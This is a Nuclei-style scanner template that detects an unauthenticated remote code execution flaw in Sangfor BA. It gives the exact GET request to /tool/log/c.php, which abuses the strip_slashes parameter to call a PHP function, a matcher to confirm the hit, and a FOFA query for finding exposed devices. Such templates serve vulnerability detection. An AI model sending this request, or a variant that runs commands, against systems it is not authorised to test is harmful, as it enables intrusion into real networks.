漏洞描述
Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
id: sangfor-ba-rce
info:
name: Sangfor BA - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
Sangfor products allow remote unauthenticated users to cause the product to execute arbitrary commands.
reference:
- https://mobile.twitter.com/sec715/status/1406886851072253953
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-77
metadata:
verified: true
max-request: 1
fofa-query: app="sangfor"
tags: rce,sangfor,intrusive,vuln
http:
- method: GET
path:
- "{{BaseURL}}/tool/log/c.php?strip_slashes=md5&host={{randstr}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5("{{randstr}}")}}'
- type: status
status:
- 200
# digest: 490a004630440220386bab6ba512bd57974255494f91b7595d83b6fe1c11e4038870fece9a0d840d02204a9cf35f34ea84c20f0dcfae92af19f1896ec312cb2fa2b3cb66fef18cbcff5c:922c64590222798bb761d5b6d8e72950